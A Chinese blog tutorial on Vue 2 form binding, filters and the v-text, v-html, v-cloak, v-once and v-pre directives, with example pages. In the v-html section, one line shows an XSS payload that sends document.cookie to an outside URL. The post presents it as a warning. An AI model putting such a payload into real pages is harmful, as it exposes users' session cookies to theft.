收集表单数据、过滤器、v-text指令、v-html指令、v-cloak指令、v-once指令、v-pre指令——Vue

嘻嘻哈哈二郎神

已于 2023-03-10 15:33:04 修改

阅读量129

点赞数

分类专栏：前端 Vue 尚硅谷文章标签：前端 vue.js

于 2022-12-07 19:39:49 首次发布

本文链接：https://blog.csdn.net/weixin_70320000/article/details/128211333

版权

前端同时被 3 个专栏收录

28 篇文章 0 订阅

订阅专栏

Vue

11 篇文章 0 订阅

订阅专栏

尚硅谷

3 篇文章 0 订阅

订阅专栏

一、收集表单数据

收集表单数据：

若：<input type="text"> ，则v-model 收集的是value值，用户输入的就是value值。

若：<input type="radio"> ,则v-model收集的是value值，且要给标签配置value值。

若：<input type="checkbox">

1.没有配置input 的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input 的value属性：

(1). v-model的初始值是非数组，那么收集的就是checked(勾选 or 未勾选，是布尔值）

(2). v-model的初始值是数组，那么收集的就是value组成的数组

备注：v-model的三个修饰符：

lazy: 失去焦点再收集数据

number: 输入字符串转为有效的数字

trim: 输入的首尾空格进行过滤

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>	
	<div id="root">
		<!-- 表单提交之后会跳转是默认行为，阻止默认行为使用prevent -->
		<form @submit.prevent="demo">
			<!-- label直接包住Input,不用关联也可以获取焦点 -->
			<!-- <label for="demo">账号：</label>
			<input type="text" id="demo"> -->
				
			<!-- trim修饰符去掉前后空格 -->
			账号：<input type="text" v-model.trim="userInfo.account"><br><br>
			密码：<input type="password" v-model="userInfo.password"><br><br>
			年龄：<input type="number" v-model.number="userInfo.age"><br><br>
			性别：
			男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
			女<input type="radio" name="sex" v-model="userInfo.sex" value="female"><br><br>
			爱好：
			学习<input type="checkbox" v-model="userInfo.hobby" value="study">
			打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
			吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br><br>
			所属校区
			<select v-model="userInfo.city">
				<option value="">请选择校区</option>
				<option value="beijing">北京</option>
				<option value="shanghai">上海</option>
				<option value="shenzhen">深圳</option>
				<option value="wuhan">武汉</option>
			</select>
			<br><br>
			其他信息：
			<!-- .lazy修饰符可以使其失去焦点的一瞬间再收集信息 -->
			<textarea v-model.lazy="userInfo.other"></textarea><br><br>
			<input type="checkbox" v-model="userInfo.agree">
			阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
			<button>提交</button>

		</form>
	</div>
	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods:{
				demo(){
					// console.log(JSON.stringify(this._data));//最好不要使用_data
					console.log(JSON.stringify(this.userInfo));

				}
			}
		})
			
	</script>
</body>
</html>

二、过滤器

可以去BootCDN官网下载处理时间的库datjs https://www.bootcdn.cn/

过滤器：

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

1. 注册过滤器：Vue.fliter(name, callback) （全局过滤器）或 new Vue{ fliters:{ } }（局部过滤器）

2. 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注：

1. 过滤器也可以接受额外参数、多个过滤器也可以串联

2. 并没有改变原本的数据，是产生新的对应的数据

注意：全局过滤器与局部过滤器

		// 全局过滤器，且必须写在Vue实例前面
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
	<script src="../script/dayjs.min.js"></script>
</head>
<body>	
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- <h3>现在是：{{time}}</h3> -->
		<!-- 计算属性实现 -->
		<h3>现在是：{{fmtTime}}</h3>

		<!-- methods实现 -->
		<h3>现在是：{{getFmtTime()}}</h3>

		<!-- 过滤器实现 -->
		<h3>现在是：{{time | timeFormater}}</h3>
		<!-- 过滤器实现 （传参）-->
		<h3>现在是：{{time | timeFormater('YYYY_MM_DD')}}</h3>
		<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>

		<h3 :x="msg | mySlice">尚硅谷</h3>
		<input type="text" v-model="msg">
		<!-- v-model绑定的数据不可以使用过滤器 -->
	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		// 全局过滤器，且必须写在Vue实例前面
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		new Vue({
			el:'#root',
			data:{
				time:1670394721548,//时间戳
				msg:'你好，尚硅谷',
			},
			computed:{
				fmtTime(){
					// return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			methods: {
				getFmtTime(){
					return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
				}
			},
			// 局部的过滤器
			filters:{
				timeFormater(value,str = 'YYYY年MM月DD日 HH:mm:ss'){//为str指定默认值
					// console.log('@',value);
					return dayjs(value).format(str)
				},
				mySlice(value){
					return value.slice(0,4)
				}
			}
		})

		new Vue({
			el:'#root2',
			data:{
				msg:'hello,atguigu!'
			}
		})
	</script>
</body>
</html>

三、v-text指令

我们学过的指令（内置指令）：

v-bind : 单向绑定解析表达式，可简写为：xxx

v-model : 双向数据绑定

v-for ：遍历数组 / 对象 / 字符串

v-if : 条件渲染（动态控制节点是否存在）

v-else : 条件渲染（动态控制节点是否存在）

v-show : 条件渲染（动态控制节点是否展示）

v-text指令：

1. 作用：向其所在的节点中渲染文本内容

2. 与插值语法的区别：v-text 会替换掉节点中的内容，而{{xxx}}则不会。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>	
	<div id="root">
		<div>你好，{{name}}</div>
		<div v-text="name">你好，</div>
		<div v-text="str">你好，</div>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>'   //v-text不会解析标签
			},
		})	
	</script>
</body>
</html>

四、v-html指令

v-html指令：

1.作用：向指定节点中渲染包含html 结构的内容

2. 与插值语法的区别：

(1). v-html 会替换掉节点中所有的内容，{{xxx}} 则不会。

(2). v-html 可以识别html 结构。

3. 严重注意：v-html有安全性问题！！！

(1). 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2). 一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>	
	<div id="root">
		<div>你好，{{name}}</div>
		<div v-text="name">你好，</div>
		<div v-html="str">你好，</div>
		<div v-html="str2"></div>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:loaction.href="http://www.baidu.com?"+document.cookie>兄弟我找到你了</a>'  //url地址？后面是参数
			//容易导致XSS攻击
            },
		})	
	</script>
</body>
</html>

五、v-cloak指令

v-cloak指令（没有值）：

1. 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}} 的问题。

[v-cloak]{ display:none} [v-cloak]属性选择器

由于代码自上向下执行，引入Vue的JS写在body上方时，当该行代码引入较慢时（如需等待较长时间），页面中不会出现内容，因为该行代码执行完毕才会执行body标签的内容；

但当引入Vue的JS写在body的下方时，当该行代码引入较慢时，由于代码自上而下执行，会将页面中的内容展示出来，但此时还未创建Vue实例，会在页面上把代码中的{{xxx}}展示出来直到Vue实例创建并接管容器。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<style>
		/* 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}} 的问题 */
		[v-cloak]{
			display:none;
		}
	</style>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>	
</head>
<body>	
	<div id="root">
		<h2 v-cloak>{{name}}</h2>
	</div>

	<!-- 当在html结构的下方引入vue时 -->
	<!-- <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script> -->
	<script type="text/javascript">	
	Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
			}
		})	
	</script>
</body>
</html>

六、v-once指令

v-once指令（没有值）：

1. v-once 所在节点在初次动态渲染后，就视为静态内容了。

2. 以后数据的改变不会引起v-once 所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>	
</head>
<body>	
	<div id="root">
        <!-- 为h2加了v-once后，此时无论数据n 怎么改变，h2中的一直是初次得到的内容 -->
		<h2 v-once>初始化的n值是：{{n}}</h2>
		<h2>当前的n值是：{{n}}</h2>
		<button @click="n++">点我n+1</button>
	</div>

	<script type="text/javascript">	
	Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1,
			}
		})	
	</script>
</body>
</html>

七、v-pre指令

v-pre指令：

1. 跳过其所在节点的编译过程。

2. 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>document</title>
	<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>	
</head>
<body>	
	<div id="root">
		<h2 v-pre>Vue其实很简单</h2>
		<h2 v-pre>当前的n值是：{{n}}</h2>
		<button v-pre @click="n++">点我n+1</button>
	</div>

	<script type="text/javascript">	
	Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1,
			}
		})	
	</script>
</body>
</html>

浏览器得到页面：